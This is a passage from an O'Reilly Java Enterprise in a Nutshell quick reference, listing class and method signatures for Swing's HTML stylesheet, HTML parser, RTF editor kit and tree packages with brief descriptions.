// | Public Instance Methods
 | public void addRule (String rule);
 | public StyleSheet.BoxPainter getBoxPainter (AttributeSet a);
 | public AttributeSet getDeclaration (String decl);
 | public StyleSheet.ListPainter getListPainter (AttributeSet a);
 | public float getPointSize (String size);
 | public float getPointSize (int index);
 | public Style getRule (String selector);
 | public Style getRule (HTML.Tag t, javax.swing.text.Element e);
 | public AttributeSet getViewAttributes (View v);
 | public void loadRules (java.io.Reader in, java.net.URL ref) throws java.io.IOException;
 | public void setBaseFontSize (String size);
 | public void setBaseFontSize (int sz);
 | public java.awt.Color stringToColor (String string);
 | public AttributeSet translateHTMLToCSS (AttributeSet htmlAttrSet);
// | Public Methods Overriding StyleContext
 | public AttributeSet addAttribute (AttributeSet old, Object key, Object value);
 | public AttributeSet addAttributes (AttributeSet old, AttributeSet attr);
 | public java.awt.Color getBackground (AttributeSet a);
 | public java.awt.Font getFont (AttributeSet a);
 | public java.awt.Color getForeground (AttributeSet a);
 | public AttributeSet removeAttribute (AttributeSet old, Object key);
 | public AttributeSet removeAttributes (AttributeSet old, AttributeSet attrs);
 | public AttributeSet removeAttributes (AttributeSet old, java.util.Enumeration names);
 | public void removeStyle (String nm);
// | Protected Methods Overriding StyleContext
 | protected MutableAttributeSet createLargeAttributeSet (AttributeSet a);
 | protected StyleContext.SmallAttributeSet createSmallAttributeSet (AttributeSet a);
}

Hierarchy: Object-->StyleContext(AbstractDocument.AttributeContext,Serializable)-->StyleSheet

Passed To: HTMLDocument.HTMLDocument(), HTMLEditorKit.setStyleSheet()

Returned By: BlockView.getStyleSheet(), HTMLDocument.getStyleSheet(), HTMLEditorKit.getStyleSheet(), InlineView.getStyleSheet(), javax.swing.text.html.ParagraphView.getStyleSheet()

StyleSheet.BoxPainter | Java 1.2
javax.swing.text.html | serializable

This class knows how to display the CSS border and background box attributes of an HTML element. Various HTML View objects use this object to perform this drawing.

public static class StyleSheet.BoxPainter implements Serializable {
// | No Constructor
// | Public Instance Methods
 | public float getInset (int side, View v);
 | public void paint (java.awt.Graphics g, float x, float y, float w, float h, View v);
}

Returned By: StyleSheet.getBoxPainter()

StyleSheet.ListPainter | Java 1.2
javax.swing.text.html | serializable

This class knows how to display list bullets and numbers as specified by the various list-related CSS attributes. View objects responsible for displaying HTML lists delegate to this class to perform this drawing.

public static class StyleSheet.ListPainter implements Serializable {
// | No Constructor
// | Public Instance Methods
 | public void paint (java.awt.Graphics g, float x, float y, float w, float h, View v, int item);
}

Returned By: StyleSheet.getListPainter()

Previous | Home | Next
30.1. The javax.swing.text Package | Book Index | 32. The javax.swing.text.html.parser Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.text.html.parser Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 32. The javax.swing.text.html.parser Package

This package includes classes and interfaces for parsing HTML text. The parser is configured by a DTD (document type definition) and is therefore customizable. The parser conforms to the HTMLEditorKit.Parser and HTMLEditorKit.ParserCallback interfaces defined in the javax.swing.text.html package. Most applications can ignore this package and simply use javax.swing.JEditorPane and javax.swing.text.html.HTMLEditorKit to handle their HTML parsing and display needs. Figure 32-1 shows the class hierarchy of this package.

Figure 32-1. The javax.swing.text.html.parser package

AttributeList | Java 1.2
javax.swing.text.html.parser | serializable

This class is an element in a linked list of attribute specifications. The complete list of attribute specifications represents an ATTLIST element of a DTD. Each AttributeList object represents the name, type, and values of a single attribute. Use the getNext() method to obtain the next AttributeList object in the linked list.

public final class AttributeList implements DTDConstants, Serializable {
// | Public Constructors
 | public AttributeList (String name);
 | public AttributeList (String name, int type, int modifier, String value, java.util.Vector values, AttributeList next);
// | Public Class Methods
 | public static int name2type (String nm);
 | public static String type2name (int tp);
// | Property Accessor Methods (by property name)
 | public int getModifier ();
 | public String getName ();
 | public AttributeList getNext ();
 | public int getType ();
 | public String getValue ();
 | public java.util.Enumeration getValues ();
// | Public Methods Overriding Object
 | public String toString ();
// | Public Instance Fields
 | public int modifier ;
 | public String name ;
 | public AttributeList next ;
 | public int type ;
 | public String value ;
 | public java.util.Vector values ;
}

Hierarchy: Object-->AttributeList(DTDConstants,Serializable)

Passed To: AttributeList.AttributeList(), DTD.{defAttributeList(), defElement(), defineAttributes(), defineElement()}

Returned By: AttributeList.getNext(), DTD.defAttributeList(), javax.swing.text.html.parser.Element.{getAttribute(), getAttributeByValue(), getAttributes()}

Type Of: AttributeList.next, javax.swing.text.html.parser.Element.atts

ContentModel | Java 1.2
javax.swing.text.html.parser | serializable model

This class represents a content model of an element in a DTD.

public final class ContentModel implements Serializable {
// | Public Constructors
 | public ContentModel ();
 | public ContentModel (javax.swing.text.html.parser.Element content);
 | public ContentModel (int type, ContentModel content);
 | public ContentModel (int type, Object content, ContentModel next);
// | Public Instance Methods
 | public boolean empty ();
 | public javax.swing.text.html.parser.Element first ();
 | public boolean first (Object token);
 | public void getElements (java.util.Vector elemVec);
// | Public Methods Overriding Object
 | public String toString ();
// | Public Instance Fields
 | public Object content ;
 | public ContentModel next ;
 | public int type ;
}

Hierarchy: Object-->ContentModel(Serializable)

Passed To: ContentModel.ContentModel(), DTD.{defContentModel(), defElement(), defineElement()}

Returned By: DTD.defContentModel(), javax.swing.text.html.parser.Element.getContent()

Type Of: ContentModel.next, javax.swing.text.html.parser.Element.content

DocumentParser Java 1.2
javax.swing.text.html.parser

This Parser subclass is the delegate of the ParserDelegator class. The parse() method reads a document from the specified Reader stream, parses it using the DTD specified when the DocumentParser was created, and notifies the specified HTMLEditorKit.ParserCallback object of the document structure by calling its various methods.

public class DocumentParser extends Parser {
// | Public Constructors
 | public DocumentParser (DTD dtd);
// | Public Instance Methods
 | public void parse (java.io.Reader in, HTMLEditorKit.ParserCallback callback, boolean ignoreCharSet) throws java.io.IOException;
// | Protected Methods Overriding Parser
 | protected void handleComment (char[ ] text);
 | protected void handleEmptyTag (TagElement tag) throws ChangedCharSetException;
 | protected void handleEndTag (TagElement tag);
 | protected void handleError (int ln, String errorMsg);
 | protected void handleStartTag (TagElement tag);
 | protected void handleText (char[ ] data);
}

Hierarchy: Object-->Parser(DTDConstants)-->DocumentParser

DTD Java 1.2
javax.swing.text.html.parser

This class represents a document type definition (DTD). A DTD specifies the grammar of the document to be parsed. The methods of this class allow you to define the elements and entities of the grammar and look those elements and entities up by name. It also defines a read() method that can read a DTD stored in a binary format. ParserDelegator reads the default HTML 3.2 DTD from the file html32.bdtd, which is stored in the same directory or ZIP archive as the DTD.class class file.

public class DTD implements DTDConstants {
// | Protected Constructors
 | protected DTD (String name);
// | Public Class Methods
 | public static DTD getDTD (String name) throws java.io.IOException;
 | public static void putDTDHash (String name, DTD dtd);
// | Public Instance Methods
 | public Entity defEntity (String name, int type, int ch);
 | public void defineAttributes (String name, AttributeList atts);
 | public javax.swing.text.html.parser.Element defineElement (String name, int type, boolean omitStart, boolean omitEnd, ContentModel content, java.util.BitSet exclusions, java.util.BitSet inclusions, AttributeList atts);
 | public Entity defineEntity (String name, int type, char[ ] data);
 | public javax.swing.text.html.parser.Element getElement (String name);
 | public javax.swing.text.html.parser.Element getElement (int index);
 | public Entity getEntity (String name);
 | public Entity getEntity (int ch);
 | public String getName ();
 | public void read (java.io.DataInputStream in) throws java.io.IOException;
// | Public Methods Overriding Object
 | public String toString ();
// | Protected Instance Methods
 | protected AttributeList defAttributeList (String name, int type, int modifier, String value, String values, AttributeList atts);
 | protected ContentModel defContentModel (int type, Object obj, ContentModel next);
 | protected javax.swing.text.html.parser.Element defElement (String name, int type, boolean omitStart, boolean omitEnd, ContentModel content, String[ ] exclusions, String[ ] inclusions, AttributeList atts);
 | protected Entity defEntity (String name, int type, String str);
// | Public Class Fields
 | public static int FILE_VERSION ;
// | Public Instance Fields
 | public final javax.swing.text.html.parser.Element applet ;
 | public final javax.swing.text.html.parser.Element base ;
 | public final javax.swing.text.html.parser.Element body ;
 | public java.util.Hashtable elementHash ;
 | public java.util.Vector elements ;
 | public java.util.Hashtable entityHash ;
 | public final javax.swing.text.html.parser.Element head ;
 | public final javax.swing.text.html.parser.Element html ;
 | public final javax.swing.text.html.parser.Element isindex ;
 | public final javax.swing.text.html.parser.Element meta ;
 | public String name ;
 | public final javax.swing.text.html.parser.Element p ;
 | public final javax.swing.text.html.parser.Element param ;
 | public final javax.swing.text.html.parser.Element pcdata ;
 | public final javax.swing.text.html.parser.Element title ;
}

Hierarchy: Object-->DTD(DTDConstants)

Passed To: DocumentParser.DocumentParser(), DTD.putDTDHash(), Parser.Parser(), ParserDelegator.createDTD()

Returned By: DTD.getDTD(), ParserDelegator.createDTD()

Type Of: Parser.dtd

DTDConstants Java 1.2
javax.swing.text.html.parser

This interface defines various integer constants used in a DTD.

public abstract interface DTDConstants {
// | Public Constants
 | public static final int ANY ; | =19
 | public static final int CDATA ; | =1
 | public static final int CONREF ; | =4
 | public static final int CURRENT ; | =3
 | public static final int DEFAULT ; | =131072
 | public static final int EMPTY ; | =17
 | public static final int ENDTAG ; | =14
 | public static final int ENTITIES ; | =3
 | public static final int ENTITY ; | =2
 | public static final int FIXED ; | =1
 | public static final int GENERAL ; | =65536
 | public static final int ID ; | =4
 | public static final int IDREF ; | =5
 | public static final int IDREFS ; | =6
 | public static final int IMPLIED ; | =5
 | public static final int MD ; | =16
 | public static final int MODEL ; | =18
 | public static final int MS ; | =15
 | public static final int NAME ; | =7
 | public static final int NAMES ; | =8
 | public static final int NMTOKEN ; | =9
 | public static final int NMTOKENS ; | =10
 | public static final int NOTATION ; | =11
 | public static final int NUMBER ; | =12
 | public static final int NUMBERS ; | =13
 | public static final int NUTOKEN ; | =14
 | public static final int NUTOKENS ; | =15
 | public static final int PARAMETER ; | =262144
 | public static final int PI ; | =12
 | public static final int PUBLIC ; | =10
 | public static final int RCDATA ; | =16
 | public static final int REQUIRED ; | =2
 | public static final int SDATA ; | =11
 | public static final int STARTTAG ; | =13
 | public static final int SYSTEM ; | =17
}

Implementations: AttributeList, DTD, javax.swing.text.html.parser.Element, Entity, Parser

Element | Java 1.2
javax.swing.text.html.parser | serializable

This class encapsulates all of the details of a single ELEMENT of a DTD. It describes the type of a tag, its allowed attributes and their types, and the content model of the tag.

public final class Element implements DTDConstants, Serializable {
// | No Constructor
// | Public Class Methods
 | public static int name2type (String nm);
// | Property Accessor Methods (by property name)
 | public AttributeList getAttributes ();
 | public ContentModel getContent ();
 | public boolean isEmpty ();
 | public int getIndex ();
 | public String getName ();
 | public int getType ();
// | Public Instance Methods
 | public AttributeList getAttribute (String name);
 | public AttributeList getAttributeByValue (String name);
 | public boolean omitEnd ();
 | public boolean omitStart ();
// | Public Methods Overriding Object
 | public String toString ();
// | Public Instance Fields
 | public AttributeList atts ;
 | public ContentModel content ;
 | public Object data ;
 | public java.util.BitSet exclusions ;
 | public java.util.BitSet inclusions ;
 | public int index ;
 | public String name ;
 | public boolean oEnd ;
 | public boolean oStart ;
 | public int type ;
}

Hierarchy: Object-->javax.swing.text.html.parser.Element(DTDConstants,Serializable)

Passed To: ContentModel.ContentModel(), Parser.{makeTag(), markFirstTime()}, TagElement.TagElement()

Returned By: ContentModel.first(), DTD.{defElement(), defineElement(), getElement()}, TagElement.getElement()

Type Of: DTD.{applet, base, body, head, html, isindex, meta, p, param, pcdata, title}

Entity Java 1.2
javax.swing.text.html.parser

This class represents an ENTITY specification in a DTD. It specifies the name, type, and value of the entity.

public final class Entity implements DTDConstants {
// | Public Constructors
 | public Entity (String name, int type, char[ ] data);
// | Public Class Methods
 | public static int name2type (String nm);
// | Property Accessor Methods (by property name)
 | public char[ ] getData ();
 | public boolean isGeneral ();
 | public String getName ();
 | public boolean isParameter ();
 | public String getString ();
 | public int getType ();
// | Public Instance Fields
 | public char[ ] data ;
 | public String name ;
 | public int type ;
}

Hierarchy: Object-->Entity(DTDConstants)

Returned By: DTD.{defEntity(), defineEntity(), getEntity()}

Parser Java 1.2
javax.swing.text.html.parser

This class is an HTML parser that uses a DTD object to specify the specific HTML grammar it should parse. The parse() method reads HTML text from a stream and parses it. Parser calls its various protected methods at appropriate points during the parsing process. In order to do anything useful, a subclass must provide non-empty implementations for these methods. See also DocumentParser.

public class Parser implements DTDConstants {
// | Public Constructors
 | public Parser (DTD dtd); |
// | Public Instance Methods
 | public void parse (java.io.Reader in) throws java.io.IOException; | synchronized
 | public String parseDTDMarkup () throws java.io.IOException; |
// | Protected Instance Methods
 | protected void endTag (boolean omitted); |
 | protected void error (String err); |
 | protected void error (String err, String arg1); |
 | protected void error (String err, String arg1, String arg2); |
 | protected void error (String err, String arg1, String arg2, String arg3); |
 | protected void flushAttributes (); |
 | protected SimpleAttributeSet getAttributes (); |
 | protected int getCurrentLine (); |
 | protected int getCurrentPos (); |
 | protected void handleComment (char[ ] text); | empty
 | protected void handleEmptyTag (TagElement tag) throws ChangedCharSetException; | empty
 | protected void handleEndTag (TagElement tag); | empty
 | protected void handleEOFInComment (); |
 | protected void handleError (int ln, String msg); |
 | protected void handleStartTag (TagElement tag); | empty
 | protected void handleText (char[ ] text); | empty
 | protected void handleTitle (char[ ] text); |
 | protected TagElement makeTag (javax.swing.text.html.parser.Element elem); |
 | protected TagElement makeTag (javax.swing.text.html.parser.Element elem, boolean fictional); |
 | protected void markFirstTime (javax.swing.text.html.parser.Element elem); |
 | protected boolean parseMarkupDeclarations (StringBuffer strBuff) throws java.io.IOException; |
 | protected void startTag (TagElement tag) throws ChangedCharSetException; |
// | Protected Instance Fields
 | protected DTD dtd ; |
 | protected boolean strict ; |
}

Hierarchy: Object-->Parser(DTDConstants)

Subclasses: DocumentParser

ParserDelegator Java 1.2
javax.swing.text.html.parser

This class extends the HTMLEditorKit.Parser class and provides a definition of the parse() method, which reads HTML text from a stream and parses it into a sequence of calls to the methods of the specified HTMLEditorKit.ParserCallback object. Each time parse() is called, the ParserDelegator class creates a new instance of DocumentParser to perform the parsing and maintain state for the parsing process.

public class ParserDelegator extends HTMLEditorKit.Parser {
// | Public Constructors
 | public ParserDelegator ();
// | Protected Class Methods
 | protected static DTD createDTD (DTD dtd, String name);
 | protected static void setDefaultDTD ();
// | Public Methods Overriding HTMLEditorKit.Parser
 | public void parse (java.io.Reader r, HTMLEditorKit.ParserCallback cb, boolean ignoreCharSet) throws java.io.IOException;
}

Hierarchy: Object-->HTMLEditorKit.Parser-->ParserDelegator

TagElement Java 1.2
javax.swing.text.html.parser

This class is used internally by DocumentParser and its superclass Parser to describe the type and behavior of an HTML tag that has been parsed.

public class TagElement {
// | Public Constructors
 | public TagElement (javax.swing.text.html.parser.Element elem);
 | public TagElement (javax.swing.text.html.parser.Element elem, boolean fictional);
// | Public Instance Methods
 | public boolean breaksFlow ();
 | public boolean fictional ();
 | public javax.swing.text.html.parser.Element getElement ();
 | public HTML.Tag getHTMLTag ();
 | public boolean isPreformatted ();
}

Passed To: DocumentParser.{handleEmptyTag(), handleEndTag(), handleStartTag()}, Parser.{handleEmptyTag(), handleEndTag(), handleStartTag(), startTag()}

Returned By: Parser.makeTag()

Previous | Home | Next
31.1. The javax.swing.text.html Package | Book Index | 33. The javax.swing.text.rtf Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.text.rtf Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 33. The javax.swing.text.rtf Package

This simple package defines an RTFEditorKit that enables the javax.swing.JEditorPane component to display and edit Rich Text Format (RTF) documents. Figure 33-1 shows the class hierarchy of this package.

Figure 33-1. The javax.swing.text.rtf package

RTFEditorKit | Java 1.2
javax.swing.text.rtf | cloneable serializable

This EditorKit subclass provides support to a JEditorPane component for displaying and editing text stored in Microsoft's Rich Text Format (RTF). The getContentType() method returns "text/rtf". The read() and write() methods know how to translate between the RTF file format and the Element tree structure of a DefaultStyledDocument.

public class RTFEditorKit extends StyledEditorKit {
// | Public Constructors
 | public RTFEditorKit (); |
// | Public Methods Overriding StyledEditorKit
 | public Object clone (); |
// | Public Methods Overriding DefaultEditorKit
 | public String getContentType (); | default:"text/rtf"
 | public void read (java.io.Reader in, Document doc, int pos) throws java.io.IOException, BadLocationException; |
 | public void read (java.io.InputStream in, Document doc, int pos) throws java.io.IOException, BadLocationException; |
 | public void write (java.io.Writer out, Document doc, int pos, int len) throws java.io.IOException, BadLocationException; |
 | public void write (java.io.OutputStream out, Document doc, int pos, int len) throws java.io.IOException, BadLocationException; |
}

Hierarchy: Object-->EditorKit(Cloneable,Serializable)-->DefaultEditorKit-->StyledEditorKit-->RTFEditorKit

Previous | Home | Next
32.1. The javax.swing.text.html.parser Package | Book Index | 34. The javax.swing.tree Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.swing.tree Package (Java Foundation Classes)

 Java Enterprise in a Nutshell Search this book

Chapter 34. The javax.swing.tree Package

The javax.swing.tree package defines classes and interfaces used with the javax.swing.JTree component. The TreeModel interface defines the data to be displayed by a JTree component. DefaultTreeModel provides a commonly used implementation of this interface; it is implemented in terms of the TreeNode and MutableTreeNode interfaces. The TreeCellRenderer and TreeCellEditor interfaces are implemented by objects that can display or edit cells in the tree, using a Swing component as a template. Figure 34-1 shows the class hierarchy of this package. See Chapter 3, "Swing Programming Topics", for a discussion of and example using JTree and the javax.swing.tree package.

Figure 34-1. The javax.swing.tree package

AbstractLayoutCache Java 1.2
javax.swing.tree

This abstract class defines the methods that must be implemented by a class that wants to cache a JTree layout. This class is used by the JTree UI delegate. Applications never need to use or subclass this class.

public abstract class AbstractLayoutCache implements RowMapper {
// | Public Constructors
 | public AbstractLayoutCache (); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public TreeModel getModel (); |
 | public void setModel (TreeModel newModel); |
 | public AbstractLayoutCache.NodeDimensions getNodeDimensions (); |
 | public void setNodeDimensions (AbstractLayoutCache.NodeDimensions nd); |
 | public int getPreferredHeight (); |
 | public boolean isRootVisible (); |
 | public void setRootVisible (boolean rootVisible); | bound
 | public abstract int getRowCount (); |
 | public int getRowHeight (); |
 | public void setRowHeight (int rowHeight); | bound
 | public TreeSelectionModel getSelectionModel (); |
 | public void setSelectionModel (TreeSelectionModel newLSM); |
// | Public Instance Methods
 | public abstract java.awt.Rectangle getBounds (TreePath path, java.awt.Rectangle placeIn); |
 | public abstract boolean getExpandedState (TreePath path); |
 | public abstract TreePath getPathClosestTo (int x, int y); |
 | public abstract TreePath getPathForRow (int row); |
 | public int getPreferredWidth (java.awt.Rectangle bounds); |
 | public abstract int getRowForPath (TreePath path); |
 | public abstract int getVisibleChildCount (TreePath path); |
 | public abstract java.util.Enumeration getVisiblePathsFrom (TreePath path); |
 | public abstract void invalidatePathBounds (TreePath path); |
 | public abstract void invalidateSizes (); |
 | public abstract boolean isExpanded (TreePath path); |
 | public abstract void setExpandedState (TreePath path, boolean isExpanded); |
 | public abstract void treeNodesChanged (javax.swing.event.TreeModelEvent e); |
 | public abstract void treeNodesInserted (javax.swing.event.TreeModelEvent e); |
 | public abstract void treeNodesRemoved (javax.swing.event.TreeModelEvent e); |
 | public abstract void treeStructureChanged (javax.swing.event.TreeModelEvent e); |
// | Methods Implementing RowMapper
 | public int[ ] getRowsForPaths (TreePath[ ] paths); |
// | Protected Instance Methods
 | protected java.awt.Rectangle getNodeDimensions (Object value, int row, int depth, boolean expanded, java.awt.Rectangle placeIn); |
 | protected boolean isFixedRowHeight (); |
// | Protected Instance Fields
 | protected AbstractLayoutCache.NodeDimensions nodeDimensions ; |
 | protected boolean rootVisible ; |
 | protected int rowHeight ; |
 | protected TreeModel treeModel ; |
 | protected TreeSelectionModel treeSelectionModel ; |
}

Hierarchy: Object-->AbstractLayoutCache(RowMapper)

Subclasses: FixedHeightLayoutCache, VariableHeightLayoutCache

AbstractLayoutCache.NodeDimensions Java 1.2
javax.swing.tree

This class defines a method that can compute the dimensions of a node in a JTree. It is used internally by AbstractLayoutCache and its subclasses and by the JTree UI delegate. Applications never need to use it.

public abstract static class AbstractLayoutCache.NodeDimensions {
// | Public Constructors
 | public NodeDimensions ();
// | Public Instance Methods
 | public abstract java.awt.Rectangle getNodeDimensions (Object value, int row, int depth, boolean expanded, java.awt.Rectangle bounds);
}

Passed To: AbstractLayoutCache.setNodeDimensions(), VariableHeightLayoutCache.setNodeDimensions()

Returned By: AbstractLayoutCache.getNodeDimensions()

Type Of: AbstractLayoutCache.nodeDimensions

DefaultMutableTreeNode | Java 1.2
javax.swing.tree | cloneable serializable

This class implements the MutableTreeNode interface and adds a number of useful tree-manipulation methods. When you create a DefaultMutableTreeNode, you can optionally specify a user object--the data associated with the node--and a boolean value that specifies whether the node is allowed to have children. DefaultMutableTreeNode implements the MutableTreeNode methods that allow the parent and children of the node to be set and the TreeNode methods that allow the parent and children to be queried. In addition to these basic methods, DefaultMutableTreeNode includes a number of useful tree-manipulation methods, such as breadthFirstEnumeration() and depthFirstEnumeration(), which recursively enumerate the children of a node in breadth-first or depth-first order, respectively. See also DefaultTreeModel, the class with which DefaultMutableTreeNode is designed to work.

public class DefaultMutableTreeNode implements Cloneable, MutableTreeNode, Serializable {
// | Public Constructors
 | public DefaultMutableTreeNode (); |
 | public DefaultMutableTreeNode (Object userObject); |
 | public DefaultMutableTreeNode (Object userObject, boolean allowsChildren); |
// | Public Constants
 | public static final java.util.Enumeration EMPTY_ENUMERATION ; |
// | Property Accessor Methods (by property name)
 | public boolean getAllowsChildren (); | Implements:TreeNode default:true
 | public void setAllowsChildren (boolean allows); |
 | public int getChildCount (); | Implements:TreeNode default:0
 | public int getDepth (); | default:0
 | public TreeNode getFirstChild (); |
 | public DefaultMutableTreeNode getFirstLeaf (); |
 | public TreeNode getLastChild (); |
 | public DefaultMutableTreeNode getLastLeaf (); |
 | public boolean isLeaf (); | Implements:TreeNode default:true
 | public int getLeafCount (); | default:1
 | public int getLevel (); | default:0
 | public DefaultMutableTreeNode getNextLeaf (); | default:null
 | public DefaultMutableTreeNode getNextNode (); | default:null
 | public DefaultMutableTreeNode getNextSibling (); | default:null
 | public TreeNode getParent (); | Implements:TreeNode default:null
 | public void setParent (MutableTreeNode newParent); | Implements:MutableTreeNode
 | public TreeNode[ ] getPath (); |
 | public DefaultMutableTreeNode getPreviousLeaf (); | default:null
 | public DefaultMutableTreeNode getPreviousNode (); | default:null
 | public DefaultMutableTreeNode getPreviousSibling (); | default:null
 | public TreeNode getRoot (); | default:DefaultMutableTreeNode
 | public boolean isRoot (); | default:true
 | public int getSiblingCount (); | default:1
 | public Object getUserObject (); | default:null
 | public void setUserObject (Object userObject); | Implements:MutableTreeNode
 | public Object[ ] getUserObjectPath (); |
// | Public Instance Methods
 | public void add (MutableTreeNode newChild); |
 | public java.util.Enumeration breadthFirstEnumeration (); |
 | public java.util.Enumeration depthFirstEnumeration (); |
 | public TreeNode getChildAfter (TreeNode aChild); |
 | public TreeNode getChildBefore (TreeNode aChild); |
 | public TreeNode getSharedAncestor (DefaultMutableTreeNode aNode); |
 | public boolean isNodeAncestor (TreeNode anotherNode); |
 | public boolean isNodeChild (TreeNode aNode); |
 | public boolean isNodeDescendant (DefaultMutableTreeNode anotherNode); |
 | public boolean isNodeRelated (DefaultMutableTreeNode aNode); |
 | public boolean isNodeSibling (TreeNode anotherNode); |
 | public java.util.Enumeration pathFromAncestorEnumeration (TreeNode ancestor); |
 | public java.util.Enumeration postorderEnumeration (); |
 | public java.util.Enumeration preorderEnumeration (); |
 | public void removeAllChildren (); |
// | Methods Implementing MutableTreeNode
 | public void insert (MutableTreeNode newChild, int childIndex); |
 | public void remove (MutableTreeNode aChild); |
 | public void remove (int childIndex); |
 | public void removeFromParent (); |
 | public void setParent (MutableTreeNode newParent); |
 | public void setUserObject (Object userObject); |
// | Methods Implementing TreeNode
 | public java.util.Enumeration children (); |
 | public boolean getAllowsChildren (); | default:true
 | public TreeNode getChildAt (int index); |
 | public int getChildCount (); | default:0
 | public int getIndex (TreeNode aChild); |
 | public TreeNode getParent (); | default:null
 | public boolean isLeaf (); | default:true
// | Public Methods Overriding Object
 | public Object clone (); |
 | public String toString (); |
// | Protected Instance Methods
 | protected TreeNode[ ] getPathToRoot (TreeNode aNode, int depth); |
// | Protected Instance Fields
 | protected boolean allowsChildren ; |
 | protected java.util.Vector children ; |
 | protected MutableTreeNode parent ; |
 | protected transient Object userObject ; |
}

Hierarchy: Object-->DefaultMutableTreeNode(Cloneable,MutableTreeNode(TreeNode),Serializable)

Subclasses: JTree.DynamicUtilTreeNode

Passed To: JTree.DynamicUtilTreeNode.createChildren(), DefaultMutableTreeNode.{getSharedAncestor(), isNodeDescendant(), isNodeRelated()}

Returned By: DefaultMutableTreeNode.{getFirstLeaf(), getLastLeaf(), getNextLeaf(), getNextNode(), getNextSibling(), getPreviousLeaf(), getPreviousNode(), getPreviousSibling()}

DefaultTreeCellEditor Java 1.2
javax.swing.tree

This TreeCellEditor implementation is the default editor for editing simple tree node values. By default, it displays the standard icons for the tree node and allows the user to edit the node using a JTextField. When you create a DefaultTreeCellEditor, you supply a DefaultTreeCellRenderer and a TreeCellEditor. The DefaultTreeCellEditor combines the icon display capability of the renderer with the editing capability of the TreeCellEditor into a single functional TreeCellEditor. Often, you can use a javax.swing.DefaultCellEditor as the internal TreeCellEditor. Or, if you do not specify a TreeCellEditor, a default one that allows the user to edit text values is used. DefaultTreeCellEditor allows the user to edit a cell by triple-clicking on the node. You can change this behavior by subclassing and overriding the canEditImmediately() method.

public class DefaultTreeCellEditor implements java.awt.event.ActionListener, TreeCellEditor, javax.swing.event.TreeSelectionListener {
// | Public Constructors
 | public DefaultTreeCellEditor (JTree tree, DefaultTreeCellRenderer renderer); |
 | public DefaultTreeCellEditor (JTree tree, DefaultTreeCellRenderer renderer, TreeCellEditor editor); |
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addCellEditorListener (javax.swing.event.CellEditorListener l); | Implements:CellEditor
 | public void removeCellEditorListener (javax.swing.event.CellEditorListener l); | Implements:CellEditor
// | Public Instance Methods
 | public java.awt.Color getBorderSelectionColor (); |
 | public java.awt.Font getFont (); |
 | public void setBorderSelectionColor (java.awt.Color newColor); |
 | public void setFont (java.awt.Font font); |
// | Methods Implementing ActionListener
 | public void actionPerformed (java.awt.event.ActionEvent e); |
// | Methods Implementing CellEditor
 | public void addCellEditorListener (javax.swing.event.CellEditorListener l); |
 | public void cancelCellEditing (); |
 | public Object getCellEditorValue (); |
 | public boolean isCellEditable (java.util.EventObject event); |
 | public void removeCellEditorListener (javax.swing.event.CellEditorListener l); |
 | public boolean shouldSelectCell (java.util.EventObject event); |
 | public boolean stopCellEditing (); |
// | Methods Implementing TreeCellEditor
 | public Component getTreeCellEditorComponent (JTree tree, Object value, boolean isSelected, boolean expanded, boolean leaf, int row); |
// | Methods Implementing TreeSelectionListener
 | public void valueChanged (javax.swing.event.TreeSelectionEvent e); |
// | Protected Instance Methods
 | protected boolean canEditImmediately (java.util.EventObject event); |
 | protected Container createContainer (); |
 | protected TreeCellEditor createTreeCellEditor (); |
 | protected void determineOffset (JTree tree, Object value, boolean isSelected, boolean expanded, boolean leaf, int row); |
 | protected boolean inHitRegion (int x, int y); |
 | protected void prepareForEditing (); |
 | protected void setTree (JTree newTree); |
 | protected boolean shouldStartEditingTimer (java.util.EventObject event); |
 | protected void startEditingTimer (); |
// | Protected Instance Fields
 | protected java.awt.Color borderSelectionColor ; |
 | protected boolean canEdit ; |
 | protected transient Component editingComponent ; |
 | protected Container editingContainer ; |
 | protected transient Icon editingIcon ; |
 | protected java.awt.Font font ; |
 | protected transient TreePath lastPath ; |
 | protected transient int lastRow ; |
 | protected transient int offset ; |
 | protected TreeCellEditor realEditor ; |
 | protected DefaultTreeCellRenderer renderer ; |
 | protected transient Timer timer ; |
 | protected transient JTree tree ; |
}

Hierarchy: Object-->DefaultTreeCellEditor(java.awt.event.ActionListener(java.util.EventListener),TreeCellEditor(CellEditor),javax.swing.event.TreeSelectionListener(java.util.EventListener))

DefaultTreeCellEditor.DefaultTextField | Java 1.2
javax.swing.tree | serializable accessible(text) swing component

This class is a customized version of JTextField used by DefaultTreeCellEditor if no custom TreeCellEditor is supplied. Applications never need to use it.

public class DefaultTreeCellEditor.DefaultTextField extends JTextField {
// | Public Constructors
 | public DefaultTextField (javax.swing.border.Border border); |
// | Property Accessor Methods (by property name)
 | public javax.swing.border.Border getBorder (); | Overrides:JComponent
 | public java.awt.Font getFont (); | Overrides:Component
 | public java.awt.Dimension getPreferredSize (); | Overrides:JTextField
// | Protected Instance Fields
 | protected javax.swing.border.Border border ; |
}
DefaultTreeCellEditor.EditorContainer | Java 1.2
javax.swing.tree | serializable swing component

This simple container implementation is used internally by DefaultTreeCellEditor to combine the icons of its DefaultTreeCellRenderer with the editing component of the supplied TreeCellRenderer or the default text field. Applications never need to use this class.

public class DefaultTreeCellEditor.EditorContainer extends Container {
// | Public Constructors
 | public EditorContainer (); |
// | Property Accessor Methods (by property name)
 | public java.awt.Dimension getPreferredSize (); | Overrides:Container
// | Public Instance Methods
 | public void EditorContainer (); |
// | Public Methods Overriding Container
 | public void doLayout (); |
 | public void paint (java.awt.Graphics g); |
}
DefaultTreeCellRenderer | Java 1.2
javax.swing.tree | serializable accessible swing component

This JLabel subclass implements the TreeCellRenderer methods and is the default cell renderer used by JTree. It displays an icon for the node and the string that results from calling the toString() method of the node value. The various properties of this class exist primarily to allow customization of node colors and icons.

public class DefaultTreeCellRenderer extends JLabel implements TreeCellRenderer {
// | Public Constructors
 | public DefaultTreeCellRenderer (); |
// | Property Accessor Methods (by property name)
 | public java.awt.Color getBackgroundNonSelectionColor (); | default:ColorUIResource
 | public void setBackgroundNonSelectionColor (java.awt.Color newColor); |
 | public java.awt.Color getBackgroundSelectionColor (); | default:ColorUIResource
